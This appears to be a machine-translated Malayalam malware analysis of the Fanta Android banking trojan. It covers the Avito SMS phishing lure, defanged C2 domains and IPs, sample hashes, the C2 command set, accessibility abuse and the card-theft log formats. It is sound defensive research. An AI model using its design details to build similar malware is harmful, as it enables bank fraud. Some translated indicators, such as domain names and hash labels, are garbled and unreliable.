Leisya, Fanta: പഴയ ആൻഡ്രോയിഡ് ട്രോജന്റെ പുതിയ തന്ത്രങ്ങൾ

ഒരു ദിവസം നിങ്ങൾ Avito-യിൽ എന്തെങ്കിലും വിൽക്കാൻ ആഗ്രഹിക്കുന്നു, നിങ്ങളുടെ ഉൽപ്പന്നത്തിന്റെ വിശദമായ വിവരണം പോസ്റ്റ് ചെയ്ത ശേഷം (ഉദാഹരണത്തിന്, ഒരു റാം മൊഡ്യൂൾ), നിങ്ങൾക്ക് ഈ സന്ദേശം ലഭിക്കും:

നിങ്ങൾ ലിങ്ക് തുറന്ന് കഴിഞ്ഞാൽ, ഒരു വാങ്ങൽ നടന്നതായി സന്തോഷവും വിജയകരവുമായ വിൽപ്പനക്കാരനായ നിങ്ങളെ അറിയിക്കുന്ന നിരുപദ്രവകരമായ ഒരു പേജ് നിങ്ങൾ കാണും:

"തുടരുക" ബട്ടൺ ക്ലിക്ക് ചെയ്‌താൽ, ഐക്കണും വിശ്വാസയോഗ്യമായ പേരും ഉള്ള ഒരു APK ഫയലും നിങ്ങളുടെ Android ഉപകരണത്തിലേക്ക് ഡൗൺലോഡ് ചെയ്യപ്പെടും. ചില കാരണങ്ങളാൽ പ്രവേശനക്ഷമത സേവന അവകാശങ്ങൾ അഭ്യർത്ഥിച്ച ഒരു ആപ്ലിക്കേഷൻ നിങ്ങൾ ഇൻസ്റ്റാൾ ചെയ്തു, തുടർന്ന് രണ്ട് വിൻഡോകൾ പ്രത്യക്ഷപ്പെടുകയും പെട്ടെന്ന് അപ്രത്യക്ഷമാവുകയും ചെയ്തു... അത്രമാത്രം.

നിങ്ങൾ ബാലൻസ് പരിശോധിക്കാൻ പോകുന്നു, എന്നാൽ ചില കാരണങ്ങളാൽ നിങ്ങളുടെ ബാങ്കിംഗ് ആപ്പ് നിങ്ങളുടെ കാർഡ് വിശദാംശങ്ങൾ വീണ്ടും ആവശ്യപ്പെടുന്നു. ഡാറ്റ നൽകിയ ശേഷം, ഭയങ്കരമായ എന്തെങ്കിലും സംഭവിക്കുന്നു: ചില കാരണങ്ങളാൽ നിങ്ങൾക്ക് ഇപ്പോഴും വ്യക്തമല്ല, നിങ്ങളുടെ അക്കൗണ്ടിൽ നിന്ന് പണം അപ്രത്യക്ഷമാകാൻ തുടങ്ങുന്നു. നിങ്ങൾ പ്രശ്നം പരിഹരിക്കാൻ ശ്രമിക്കുകയാണ്, പക്ഷേ നിങ്ങളുടെ ഫോൺ പ്രതിരോധിക്കുന്നു: ഇത് "ബാക്ക്", "ഹോം" കീകൾ അമർത്തുന്നു, ഓഫാക്കുന്നില്ല, സുരക്ഷാ നടപടികളൊന്നും സജീവമാക്കാൻ നിങ്ങളെ അനുവദിക്കുന്നില്ല. തൽഫലമായി, നിങ്ങൾക്ക് പണമില്ലാതെ അവശേഷിക്കുന്നു, നിങ്ങളുടെ സാധനങ്ങൾ വാങ്ങിയിട്ടില്ല, നിങ്ങൾ ആശയക്കുഴപ്പത്തിലാകുകയും ആശ്ചര്യപ്പെടുകയും ചെയ്യുന്നു: എന്താണ് സംഭവിച്ചത്?

ഉത്തരം ലളിതമാണ്: നിങ്ങൾ ഫ്ലെക്സ്നെറ്റ് കുടുംബത്തിലെ അംഗമായ ആൻഡ്രോയിഡ് ട്രോജൻ ഫാന്റയുടെ ഇരയായി. ഇത് എങ്ങനെ സംഭവിച്ചു? ഇനി വിശദീകരിക്കാം.

രചയിതാക്കൾ: ആൻഡ്രി പോളോവിങ്കിൻ, ക്ഷുദ്രവെയർ വിശകലനത്തിലെ ജൂനിയർ സ്പെഷ്യലിസ്റ്റ്, ഇവാൻ പിസാരെവ്, ക്ഷുദ്രവെയർ വിശകലനത്തിൽ സ്പെഷ്യലിസ്റ്റ്.

ചില സ്ഥിതിവിവരക്കണക്കുകൾ

ആൻഡ്രോയിഡ് ട്രോജനുകളുടെ ഫ്ലെക്സ്നെറ്റ് കുടുംബം ആദ്യമായി അറിയപ്പെട്ടത് 2015 ലാണ്. വളരെ നീണ്ട പ്രവർത്തന കാലയളവിൽ, കുടുംബം നിരവധി ഉപജാതികളിലേക്ക് വ്യാപിച്ചു: ഫാന്റ, ലൈംബോട്ട്, ലിപ്റ്റൺ മുതലായവ. ട്രോജനും അതുമായി ബന്ധപ്പെട്ട ഇൻഫ്രാസ്ട്രക്ചറും നിശ്ചലമായി നിൽക്കുന്നില്ല: പുതിയ ഫലപ്രദമായ വിതരണ പദ്ധതികൾ വികസിപ്പിച്ചുകൊണ്ടിരിക്കുന്നു - ഞങ്ങളുടെ കാര്യത്തിൽ, ഉയർന്ന നിലവാരമുള്ള ഫിഷിംഗ് പേജുകൾ ഒരു നിർദ്ദിഷ്ട ഉപയോക്തൃ വിൽപ്പനക്കാരനെ ലക്ഷ്യം വച്ചുള്ളതാണ്, കൂടാതെ ട്രോജൻ ഡവലപ്പർമാർ ഫാഷനബിൾ ട്രെൻഡുകൾ പിന്തുടരുന്നു. വൈറസ് എഴുത്ത് - രോഗബാധിതമായ ഉപകരണങ്ങളിൽ നിന്നും ബൈപാസ് സംരക്ഷണ സംവിധാനങ്ങളിൽ നിന്നും കൂടുതൽ കാര്യക്ഷമമായി പണം മോഷ്ടിക്കുന്നത് സാധ്യമാക്കുന്ന പുതിയ പ്രവർത്തനം ചേർക്കുന്നു.

ഈ ലേഖനത്തിൽ വിവരിച്ചിരിക്കുന്ന കാമ്പെയ്‌ൻ റഷ്യയിൽ നിന്നുള്ള ഉപയോക്താക്കളെ ലക്ഷ്യം വച്ചുള്ളതാണ്; രോഗബാധിതരായ ഉപകരണങ്ങളുടെ ഒരു ചെറിയ എണ്ണം ഉക്രെയ്നിൽ രേഖപ്പെടുത്തിയിട്ടുണ്ട്, കസാക്കിസ്ഥാനിലും ബെലാറസിലും കുറവാണ്.

ഫ്ലെക്‌സ്‌നെറ്റ് ഇപ്പോൾ 4 വർഷത്തിലേറെയായി ആൻഡ്രോയിഡ് ട്രോജൻ രംഗത്ത് ഉണ്ടെങ്കിലും നിരവധി ഗവേഷകർ വിശദമായി പഠിച്ചിട്ടുണ്ടെങ്കിലും, അത് ഇപ്പോഴും നല്ല നിലയിലാണ്. 2019 ജനുവരി മുതൽ, നാശനഷ്ടത്തിന്റെ സാധ്യത 35 ദശലക്ഷത്തിലധികം റുബിളാണ് - ഇത് റഷ്യയിലെ കാമ്പെയ്‌നുകൾക്ക് മാത്രമാണ്. 2015-ൽ, ഈ ആൻഡ്രോയിഡ് ട്രോജന്റെ വിവിധ പതിപ്പുകൾ ഭൂഗർഭ ഫോറങ്ങളിൽ വിറ്റു, അവിടെ വിശദമായ വിവരണമുള്ള ട്രോജന്റെ സോഴ്സ് കോഡും കണ്ടെത്താനാകും. ഇതിനർത്ഥം ലോകത്തിലെ നാശനഷ്ടങ്ങളുടെ സ്ഥിതിവിവരക്കണക്കുകൾ കൂടുതൽ ശ്രദ്ധേയമാണ് എന്നാണ്. അത്തരമൊരു വൃദ്ധന് മോശം സൂചകമല്ല, അല്ലേ?

വിൽപ്പന മുതൽ വഞ്ചന വരെ

പരസ്യങ്ങൾ Avito പോസ്റ്റുചെയ്യുന്നതിനുള്ള ഇന്റർനെറ്റ് സേവനത്തിനായി ഒരു ഫിഷിംഗ് പേജിന്റെ മുമ്പ് അവതരിപ്പിച്ച സ്ക്രീൻഷോട്ടിൽ നിന്ന് കാണാൻ കഴിയുന്നതുപോലെ, ഇത് ഒരു പ്രത്യേക ഇരയ്ക്ക് വേണ്ടി തയ്യാറാക്കിയതാണ്. പ്രത്യക്ഷത്തിൽ, ആക്രമണകാരികൾ Avito യുടെ പാർസറുകളിലൊന്ന് ഉപയോഗിക്കുന്നു, അത് വിൽപ്പനക്കാരന്റെ ഫോൺ നമ്പറും പേരും ഉൽപ്പന്ന വിവരണവും വേർതിരിച്ചെടുക്കുന്നു. പേജ് വിപുലീകരിച്ച് APK ഫയൽ തയ്യാറാക്കിയ ശേഷം, ഇരയ്ക്ക് അവന്റെ പേരും ഉൽപ്പന്നത്തിന്റെ വിവരണവും ഉൽപ്പന്നത്തിന്റെ "വിൽപ്പന"യിൽ നിന്ന് ലഭിച്ച തുകയും അടങ്ങിയ ഫിഷിംഗ് പേജിലേക്കുള്ള ലിങ്കും സഹിതം ഒരു SMS അയയ്ക്കുന്നു. ബട്ടണിൽ ക്ലിക്കുചെയ്യുന്നതിലൂടെ, ഉപയോക്താവിന് ക്ഷുദ്രകരമായ APK ഫയൽ ലഭിക്കും - ഫാന്റ.

shcet491[.]ru ഡൊമെയ്‌നിനെ കുറിച്ചുള്ള ഒരു പഠനം അത് Hostinger-ന്റെ DNS സെർവറുകളിലേക്ക് നിയുക്തമാക്കിയതായി കാണിച്ചു:

• ns1.hostinger.ru
• ns2.hostinger.ru
• ns3.hostinger.ru
• ns4.hostinger.ru

ഡൊമെയ്ൻ സോൺ ഫയലിൽ IP വിലാസങ്ങൾ 31.220.23[.]236, 31.220.23[.]243, 31.220.23[.]235 എന്നിവയിലേക്ക് ചൂണ്ടിക്കാണിക്കുന്ന എൻട്രികൾ അടങ്ങിയിരിക്കുന്നു. എന്നിരുന്നാലും, ഡൊമെയ്‌നിന്റെ പ്രൈമറി റിസോഴ്‌സ് റെക്കോർഡ് (എ റെക്കോർഡ്) IP വിലാസം 178.132.1[.]240 ഉള്ള ഒരു സെർവറിലേക്കാണ് വിരൽ ചൂണ്ടുന്നത്.

IP വിലാസം 178.132.1[.]240 നെതർലാൻഡിൽ സ്ഥിതിചെയ്യുന്നു, അത് ഹോസ്റ്ററിന്റേതാണ് വേൾഡ് സ്ട്രീം. IP വിലാസങ്ങൾ 31.220.23[.]235, 31.220.23[.]236, 31.220.23[.]243 എന്നിവ യുകെയിൽ സ്ഥിതിചെയ്യുന്നു, അവ പങ്കിട്ട ഹോസ്റ്റിംഗ് സെർവറായ HOSTINGER-ന്റെതാണ്. ഒരു റെക്കോർഡറായി ഉപയോഗിക്കുന്നു openprov-ru. ഇനിപ്പറയുന്ന ഡൊമെയ്‌നുകളും IP വിലാസം 178.132.1[.]240-ലേക്ക് പരിഹരിച്ചു:

• sdelka-ru[.]ru
• tovar-av[.]ru
• av-tovar[.]ru
• ru-sdelka[.]ru
• shcet382[.]ru
• sdelka221[.]ru
• sdelka211[.]ru
• vyplata437[.]ru
• viplata291[.]ru
• perevod273[.]ru
• perevod901[.]ru

ഇനിപ്പറയുന്ന ഫോർമാറ്റിലുള്ള ലിങ്കുകൾ മിക്കവാറും എല്ലാ ഡൊമെയ്‌നുകളിൽ നിന്നും ലഭ്യമായിരുന്നു എന്നത് ശ്രദ്ധിക്കേണ്ടതാണ്:

http://(www.){0,1}<%domain%>/[0-9]{7}

ഈ ടെംപ്ലേറ്റിൽ ഒരു SMS സന്ദേശത്തിൽ നിന്നുള്ള ഒരു ലിങ്കും ഉൾപ്പെടുന്നു. ചരിത്രപരമായ ഡാറ്റയെ അടിസ്ഥാനമാക്കി, മുകളിൽ വിവരിച്ച പാറ്റേണിലെ നിരവധി ലിങ്കുകളുമായി ഒരു ഡൊമെയ്ൻ പൊരുത്തപ്പെടുന്നതായി കണ്ടെത്തി, ഇത് നിരവധി ഇരകൾക്ക് ട്രോജൻ വിതരണം ചെയ്യാൻ ഒരു ഡൊമെയ്ൻ ഉപയോഗിച്ചുവെന്ന് സൂചിപ്പിക്കുന്നു.

നമുക്ക് കുറച്ച് മുന്നോട്ട് പോകാം: ഒരു SMS-ൽ നിന്നുള്ള ഒരു ലിങ്ക് വഴി ഡൗൺലോഡ് ചെയ്ത ട്രോജൻ ഒരു നിയന്ത്രണ സെർവറായി വിലാസം ഉപയോഗിക്കുന്നു onusedseddohap[.]club. ഈ ഡൊമെയ്‌ൻ 2019-03-12-ന് രജിസ്റ്റർ ചെയ്‌തു, 2019-04-29 മുതൽ, APK അപ്ലിക്കേഷനുകൾ ഈ ഡൊമെയ്‌നുമായി സംവദിച്ചു. VirusTotal-ൽ നിന്ന് ലഭിച്ച ഡാറ്റയെ അടിസ്ഥാനമാക്കി, മൊത്തം 109 ആപ്ലിക്കേഷനുകൾ ഈ സെർവറുമായി സംവദിച്ചു. ഡൊമെയ്ൻ തന്നെ IP വിലാസത്തിലേക്ക് പരിഹരിച്ചു 217.23.14[.]27, നെതർലാൻഡിൽ സ്ഥിതി ചെയ്യുന്നതും ഹോസ്റ്ററുടെ ഉടമസ്ഥതയിലുള്ളതുമാണ് വേൾഡ് സ്ട്രീം. ഒരു റെക്കോർഡറായി ഉപയോഗിക്കുന്നു നെയിംചീപ്പ്. ഡൊമെയ്‌നുകളും ഈ ഐപി വിലാസത്തിലേക്ക് പരിഹരിച്ചു മോശം-രാക്കൂൺ[.]ക്ലബ് (2018-09-25 മുതൽ) കൂടാതെ മോശം-രാക്കൂൺ[.]ലൈവ് (2018-10-25 മുതൽ ആരംഭിക്കുന്നു). ഡൊമെയ്‌നിനൊപ്പം മോശം-രാക്കൂൺ[.]ക്ലബ് 80-ലധികം APK ഫയലുകൾ സംവദിച്ചു മോശം-രാക്കൂൺ[.]ലൈവ് - 100-ൽ കൂടുതൽ.

പൊതുവേ, ആക്രമണം ഇനിപ്പറയുന്ന രീതിയിൽ പുരോഗമിക്കുന്നു:

ഫാന്റയുടെ ലിഡിന് താഴെ എന്താണുള്ളത്?

മറ്റ് പല ആൻഡ്രോയിഡ് ട്രോജനുകളെയും പോലെ, ഫാന്റയ്ക്ക് SMS സന്ദേശങ്ങൾ വായിക്കാനും അയയ്ക്കാനും USSD അഭ്യർത്ഥനകൾ നടത്താനും ആപ്ലിക്കേഷനുകൾക്ക് മുകളിൽ സ്വന്തം വിൻഡോകൾ പ്രദർശിപ്പിക്കാനും കഴിയും (ബാങ്കിംഗ് ഉൾപ്പെടെ). എന്നിരുന്നാലും, ഈ കുടുംബത്തിന്റെ പ്രവർത്തനത്തിന്റെ ആയുധശേഖരം എത്തി: ഫാന്റ ഉപയോഗിക്കാൻ തുടങ്ങി പ്രവേശനക്ഷമത സേവനം വിവിധ ആവശ്യങ്ങൾക്കായി: മറ്റ് ആപ്ലിക്കേഷനുകളിൽ നിന്നുള്ള അറിയിപ്പുകളുടെ ഉള്ളടക്കം വായിക്കുക, രോഗബാധിതമായ ഉപകരണത്തിൽ ഒരു ട്രോജൻ കണ്ടെത്തുന്നത് തടയുകയും നിർവ്വഹിക്കുന്നത് നിർത്തുകയും ചെയ്യുക തുടങ്ങിയവ. ആൻഡ്രോയിഡിന്റെ എല്ലാ പതിപ്പുകളിലും ഫാന്റ 4.4-ൽ കുറവല്ല പ്രവർത്തിക്കുന്നു. ഈ ലേഖനത്തിൽ, ഇനിപ്പറയുന്ന ഫാന്റ സാമ്പിൾ ഞങ്ങൾ സൂക്ഷ്മമായി പരിശോധിക്കും:

• MD5: 0826bd11b2c130c4c8ac137e395ac2d4
• ശക്സനുമ്ക്സ: ac33d38d486ee4859aa21b9aeba5e6e11404bcc8
• ശക്സനുമ്ക്സ: df57b7e7ac6913ea5f4daad319e02db1f4a6b243f2ea6500f83060648da6edfb

ലോഞ്ച് ചെയ്ത ഉടനെ

ലോഞ്ച് ചെയ്ത ഉടൻ, ട്രോജൻ അതിന്റെ ഐക്കൺ മറയ്ക്കുന്നു. രോഗം ബാധിച്ച ഉപകരണത്തിന്റെ പേര് ലിസ്റ്റിൽ ഇല്ലെങ്കിൽ മാത്രമേ അപ്ലിക്കേഷന് പ്രവർത്തിക്കാനാകൂ:

• android_x86
• VirtualBox
• Nexus 5X(ബുൾഹെഡ്)
• Nexus 5(റേസർ)

ട്രോജന്റെ പ്രധാന സേവനത്തിലാണ് ഈ പരിശോധന നടത്തുന്നത് - പ്രധാന സേവനം. ആദ്യമായി സമാരംഭിക്കുമ്പോൾ, ആപ്ലിക്കേഷന്റെ കോൺഫിഗറേഷൻ പാരാമീറ്ററുകൾ ഡിഫോൾട്ട് മൂല്യങ്ങളിലേക്ക് ആരംഭിക്കുന്നു (കോൺഫിഗറേഷൻ ഡാറ്റ സംഭരിക്കുന്നതിനുള്ള ഫോർമാറ്റും അവയുടെ അർത്ഥവും പിന്നീട് ചർച്ചചെയ്യും), കൂടാതെ നിയന്ത്രണ സെർവറിൽ ഒരു പുതിയ രോഗബാധയുള്ള ഉപകരണം രജിസ്റ്റർ ചെയ്യപ്പെടും. സന്ദേശ തരത്തോടുകൂടിയ ഒരു HTTP POST അഭ്യർത്ഥന സെർവറിലേക്ക് അയയ്‌ക്കും register_bot രോഗം ബാധിച്ച ഉപകരണത്തെ കുറിച്ചുള്ള വിവരങ്ങളും (Android പതിപ്പ്, IMEI, ഫോൺ നമ്പർ, ഓപ്പറേറ്ററുടെ പേര്, ഓപ്പറേറ്റർ രജിസ്റ്റർ ചെയ്തിട്ടുള്ള രാജ്യ കോഡ്). വിലാസം നിയന്ത്രണ സെർവറായി പ്രവർത്തിക്കുന്നു hXXp://onuseseddohap[.]club/controller.php. പ്രതികരണമായി, സെർവർ ഫീൽഡുകൾ അടങ്ങിയ ഒരു സന്ദേശം അയയ്ക്കുന്നു ബോട്ട്_ഐഡി, bot_pwd, സെർവർ - ആപ്ലിക്കേഷൻ ഈ മൂല്യങ്ങളെ CnC സെർവറിന്റെ പാരാമീറ്ററുകളായി സംരക്ഷിക്കുന്നു. പരാമീറ്റർ സെർവർ ഫീൽഡ് ലഭിച്ചില്ലെങ്കിൽ ഓപ്ഷണൽ: ഫാന്റ രജിസ്ട്രേഷൻ വിലാസം ഉപയോഗിക്കുന്നു - hXXp://onuseseddohap[.]club/controller.php. CnC വിലാസം മാറ്റുന്നതിനുള്ള പ്രവർത്തനം രണ്ട് പ്രശ്നങ്ങൾ പരിഹരിക്കാൻ ഉപയോഗിക്കാം: നിരവധി സെർവറുകൾക്കിടയിൽ ലോഡ് തുല്യമായി വിതരണം ചെയ്യാൻ (ഒരു വലിയ എണ്ണം രോഗബാധിതമായ ഉപകരണങ്ങൾ ഉണ്ടെങ്കിൽ, ഒപ്റ്റിമൈസ് ചെയ്യാത്ത വെബ് സെർവറിലെ ലോഡ് കൂടുതലായിരിക്കും), കൂടാതെ ഉപയോഗിക്കാനും CnC സെർവറുകളിൽ ഒന്ന് പരാജയപ്പെടുമ്പോൾ ഒരു ബദൽ സെർവർ.

അഭ്യർത്ഥന അയയ്ക്കുമ്പോൾ ഒരു പിശക് സംഭവിച്ചാൽ, ട്രോജൻ 20 സെക്കൻഡിനുശേഷം രജിസ്ട്രേഷൻ പ്രക്രിയ ആവർത്തിക്കും.

ഉപകരണം വിജയകരമായി രജിസ്റ്റർ ചെയ്തുകഴിഞ്ഞാൽ, ഫാന്റ ഉപയോക്താവിന് ഇനിപ്പറയുന്ന സന്ദേശം പ്രദർശിപ്പിക്കും:

പ്രധാന കുറിപ്പ്: വിളിക്കപ്പെടുന്ന സേവനം സിസ്റ്റം സുരക്ഷ - ട്രോജൻ സേവനത്തിന്റെ പേര്, ബട്ടൺ ക്ലിക്ക് ചെയ്ത ശേഷം ശരി രോഗബാധിതമായ ഉപകരണത്തിന്റെ പ്രവേശനക്ഷമത ക്രമീകരണങ്ങളുള്ള ഒരു വിൻഡോ തുറക്കും, അവിടെ ക്ഷുദ്രകരമായ സേവനത്തിന് ഉപയോക്താവ് പ്രവേശനക്ഷമത അവകാശങ്ങൾ നൽകണം:

ഉപയോക്താവ് ഓണാക്കിയ ഉടൻ പ്രവേശനക്ഷമത സേവനം, ആപ്ലിക്കേഷൻ വിൻഡോകളുടെ ഉള്ളടക്കങ്ങളിലേക്കും അവയിൽ നടപ്പിലാക്കിയ പ്രവർത്തനങ്ങളിലേക്കും ഫാന്റ ആക്സസ് നേടുന്നു:

പ്രവേശനക്ഷമത അവകാശങ്ങൾ ലഭിച്ച ഉടൻ, അറിയിപ്പുകൾ വായിക്കാനുള്ള അഡ്മിനിസ്ട്രേറ്റർ അവകാശങ്ങളും അവകാശങ്ങളും ട്രോജൻ അഭ്യർത്ഥിക്കുന്നു:

പ്രവേശനക്ഷമത സേവനം ഉപയോഗിച്ച്, ആപ്ലിക്കേഷൻ കീസ്ട്രോക്കുകൾ അനുകരിക്കുന്നു, അതുവഴി ആവശ്യമായ എല്ലാ അവകാശങ്ങളും സ്വയം നൽകുന്നു.

കോൺഫിഗറേഷൻ ഡാറ്റ സംഭരിക്കുന്നതിന് ആവശ്യമായ ഒന്നിലധികം ഡാറ്റാബേസ് ഇൻസ്‌റ്റൻസുകളും (പിന്നീട് വിവരിക്കുന്നതാണ്) ഫാന്റ സൃഷ്ടിക്കുന്നു, അതുപോലെ തന്നെ രോഗബാധിതമായ ഉപകരണത്തെക്കുറിച്ചുള്ള പ്രക്രിയയിൽ ശേഖരിച്ച വിവരങ്ങളും. ശേഖരിച്ച വിവരങ്ങൾ അയയ്‌ക്കുന്നതിന്, ഡാറ്റാബേസിൽ നിന്ന് ഫീൽഡുകൾ ഡൗൺലോഡ് ചെയ്യാനും കൺട്രോൾ സെർവറിൽ നിന്ന് ഒരു കമാൻഡ് സ്വീകരിക്കാനും രൂപകൽപ്പന ചെയ്‌തിരിക്കുന്ന ആവർത്തിച്ചുള്ള ടാസ്‌ക് ട്രോജൻ സൃഷ്‌ടിക്കുന്നു. ആൻഡ്രോയിഡ് പതിപ്പിനെ ആശ്രയിച്ച് CnC ആക്സസ് ചെയ്യുന്നതിനുള്ള ഇടവേള സജ്ജീകരിച്ചിരിക്കുന്നു: 5.1 ന്റെ കാര്യത്തിൽ, ഇടവേള 10 സെക്കൻഡ് ആയിരിക്കും, അല്ലാത്തപക്ഷം 60 സെക്കൻഡ്.

കമാൻഡ് ലഭിക്കുന്നതിന്, ഫാന്റ ഒരു അഭ്യർത്ഥന നടത്തുന്നു GetTask മാനേജ്മെന്റ് സെർവറിലേക്ക്. പ്രതികരണമായി, CnC-ന് ഇനിപ്പറയുന്ന കമാൻഡുകളിലൊന്ന് അയയ്ക്കാൻ കഴിയും:

ടീം	വിവരണം
0	SMS സന്ദേശം അയയ്‌ക്കുക
1	ഒരു ഫോൺ കോൾ അല്ലെങ്കിൽ USSD കമാൻഡ് ചെയ്യുക
2	ഒരു പാരാമീറ്റർ അപ്ഡേറ്റ് ചെയ്യുന്നു ഇടവേള
3	ഒരു പാരാമീറ്റർ അപ്ഡേറ്റ് ചെയ്യുന്നു ഇന്റർസെപ്റ്റ്
6	ഒരു പാരാമീറ്റർ അപ്ഡേറ്റ് ചെയ്യുന്നു smsManager
9	SMS സന്ദേശങ്ങൾ ശേഖരിക്കാൻ ആരംഭിക്കുക
11	നിങ്ങളുടെ ഫോൺ ഫാക്ടറി ക്രമീകരണത്തിലേക്ക് റീസെറ്റ് ചെയ്യുക
12	ഡയലോഗ് ബോക്സ് സൃഷ്‌ടിക്കുന്നതിനുള്ള ലോഗിംഗ് പ്രവർത്തനക്ഷമമാക്കുക/അപ്രാപ്‌തമാക്കുക

70 ബാങ്കിംഗ് ആപ്പുകൾ, ഫാസ്റ്റ് പേയ്‌മെന്റ് സംവിധാനങ്ങൾ, ഇ-വാലറ്റുകൾ എന്നിവയിൽ നിന്നുള്ള അറിയിപ്പുകൾ ഫാന്റ ശേഖരിക്കുകയും അവ ഒരു ഡാറ്റാബേസിൽ സംഭരിക്കുകയും ചെയ്യുന്നു.

കോൺഫിഗറേഷൻ പാരാമീറ്ററുകൾ സംഭരിക്കുന്നു

കോൺഫിഗറേഷൻ പാരാമീറ്ററുകൾ സംഭരിക്കുന്നതിന്, Android പ്ലാറ്റ്‌ഫോമിനായി ഫാന്റ ഒരു സാധാരണ സമീപനം ഉപയോഗിക്കുന്നു - മുൻഗണനകൾ-ഫയലുകൾ. എന്ന പേരിലുള്ള ഫയലിലേക്ക് ക്രമീകരണങ്ങൾ സംരക്ഷിക്കപ്പെടും ക്രമീകരണങ്ങൾ. സംരക്ഷിച്ച പാരാമീറ്ററുകളുടെ വിവരണം ചുവടെയുള്ള പട്ടികയിലാണ്.

പേര്	സ്ഥിര മൂല്യം	സാധ്യമായ മൂല്യങ്ങൾ	വിവരണം
id	0	പൂർണ്ണസംഖ്യ	ബോട്ട് ഐഡി
സെർവർ	hXXp://onuseseddohap[.]club/	യുആർഎൽ	സെർവർ വിലാസം നിയന്ത്രിക്കുക
പിഡബ്ല്യുഡി	-	സ്ട്രിംഗ്	സെർവർ പാസ്‌വേഡ്
ഇടവേള	20	പൂർണ്ണസംഖ്യ	സമയ ഇടവേള. ഇനിപ്പറയുന്ന ജോലികൾ എത്രത്തോളം മാറ്റിവയ്ക്കണമെന്ന് സൂചിപ്പിക്കുന്നു: അയച്ച SMS സന്ദേശത്തിന്റെ നിലയെക്കുറിച്ച് ഒരു അഭ്യർത്ഥന അയയ്ക്കുമ്പോൾ മാനേജ്മെന്റ് സെർവറിൽ നിന്ന് ഒരു പുതിയ കമാൻഡ് സ്വീകരിക്കുന്നു
ഇന്റർസെപ്റ്റ്	എല്ലാം	എല്ലാം/ടെൽ നമ്പർ	ഫീൽഡ് സ്ട്രിംഗിന് തുല്യമാണെങ്കിൽ എല്ലാം അഥവാ ടെൽ നമ്പർ, തുടർന്ന് ലഭിച്ച SMS സന്ദേശം ആപ്ലിക്കേഷൻ തടസ്സപ്പെടുത്തുകയും ഉപയോക്താവിനെ കാണിക്കാതിരിക്കുകയും ചെയ്യും
smsManager	0	0/1	ഡിഫോൾട്ട് എസ്എംഎസ് സ്വീകർത്താവായി ആപ്ലിക്കേഷൻ പ്രവർത്തനക്ഷമമാക്കുക/പ്രവർത്തനരഹിതമാക്കുക
ഡയലോഗ് വായിക്കുക	തെറ്റായ	ശരി തെറ്റ്	ഇവന്റ് ലോഗിംഗ് പ്രവർത്തനക്ഷമമാക്കുക/പ്രവർത്തനരഹിതമാക്കുക പ്രവേശനക്ഷമത ഇവന്റ്

ഫാന്റയും ഫയൽ ഉപയോഗിക്കുന്നു smsManager:

പേര്	സ്ഥിര മൂല്യം	സാധ്യമായ മൂല്യങ്ങൾ	വിവരണം
pckg	-	സ്ട്രിംഗ്	ഉപയോഗിച്ച SMS സന്ദേശ മാനേജറുടെ പേര്

ഡാറ്റാബേസുകളുമായുള്ള ഇടപെടൽ

അതിന്റെ പ്രവർത്തന സമയത്ത്, ട്രോജൻ രണ്ട് ഡാറ്റാബേസുകൾ ഉപയോഗിക്കുന്നു. ഡാറ്റാബേസ് എന്ന പേര് a ഫോണിൽ നിന്ന് ശേഖരിക്കുന്ന വിവിധ വിവരങ്ങൾ സൂക്ഷിക്കാൻ ഉപയോഗിക്കുന്നു. രണ്ടാമത്തെ ഡാറ്റാബേസിന് പേരിട്ടു fanta.db കൂടാതെ ബാങ്ക് കാർഡുകളെക്കുറിച്ചുള്ള വിവരങ്ങൾ ശേഖരിക്കുന്നതിനായി രൂപകൽപ്പന ചെയ്ത ഫിഷിംഗ് വിൻഡോകൾ സൃഷ്ടിക്കുന്നതിനുള്ള ഉത്തരവാദിത്തമുള്ള ക്രമീകരണങ്ങൾ സംരക്ഷിക്കാൻ ഉപയോഗിക്കുന്നു.

ട്രോജൻ ഡാറ്റാബേസ് ഉപയോഗിക്കുന്നു а ശേഖരിച്ച വിവരങ്ങൾ സംഭരിക്കാനും നിങ്ങളുടെ പ്രവർത്തനങ്ങൾ ലോഗ് ചെയ്യാനും. ഡാറ്റ ഒരു പട്ടികയിൽ സൂക്ഷിക്കുന്നു രേഖകൾ. ഒരു പട്ടിക സൃഷ്ടിക്കുന്നതിന്, ഇനിപ്പറയുന്ന SQL അന്വേഷണം ഉപയോഗിക്കുക:

create table logs ( _id integer primary key autoincrement, d TEXT, f TEXT, p TEXT, m integer)

ഡാറ്റാബേസിൽ ഇനിപ്പറയുന്ന വിവരങ്ങൾ അടങ്ങിയിരിക്കുന്നു:

1. രോഗം ബാധിച്ച ഉപകരണത്തിന്റെ ആരംഭം ഒരു സന്ദേശം ഉപയോഗിച്ച് ലോഗ് ചെയ്യുന്നു ഫോൺ ഓണാക്കി!

2. ആപ്ലിക്കേഷനുകളിൽ നിന്നുള്ള അറിയിപ്പുകൾ. ഇനിപ്പറയുന്ന ടെംപ്ലേറ്റ് അനുസരിച്ച് സന്ദേശം ജനറേറ്റ് ചെയ്തിരിക്കുന്നു:

(<%App Name%>)<%Title%>: <%Notification text%>

3. ട്രോജൻ സൃഷ്ടിച്ച ഫിഷിംഗ് ഫോമുകളിൽ നിന്നുള്ള ബാങ്ക് കാർഡ് ഡാറ്റ. പരാമീറ്റർ VIEW_NAME ഇനിപ്പറയുന്നവയിൽ ഒന്നായിരിക്കാം:

• അലിഎക്സ്പ്രസ്
• Avito
• Google പ്ലേ
• മറ്റുള്ളവ <%App Name%>

സന്ദേശം ഫോർമാറ്റിൽ ലോഗിൻ ചെയ്‌തിരിക്കുന്നു:

[<%Time in format HH:mm:ss dd.MM.yyyy%>](<%VIEW_NAME%>) Номер карты:<%CARD_NUMBER%>; Дата:<%MONTH%>/<%YEAR%>; CVV: <%CVV%>

4. ഫോർമാറ്റിലുള്ള ഇൻകമിംഗ്/ഔട്ട്‌ഗോയിംഗ് SMS സന്ദേശങ്ങൾ:

([<%Time in format HH:mm:ss dd.MM.yyyy%>] Тип: Входящее/Исходящее) <%Mobile number%>:<%SMS-text%>

5. ഫോർമാറ്റിൽ ഡയലോഗ് ബോക്സ് സൃഷ്ടിക്കുന്ന പാക്കേജിനെക്കുറിച്ചുള്ള വിവരങ്ങൾ:

(<%Package name%>)<%Package information%>

ഉദാഹരണ പട്ടിക രേഖകൾ:

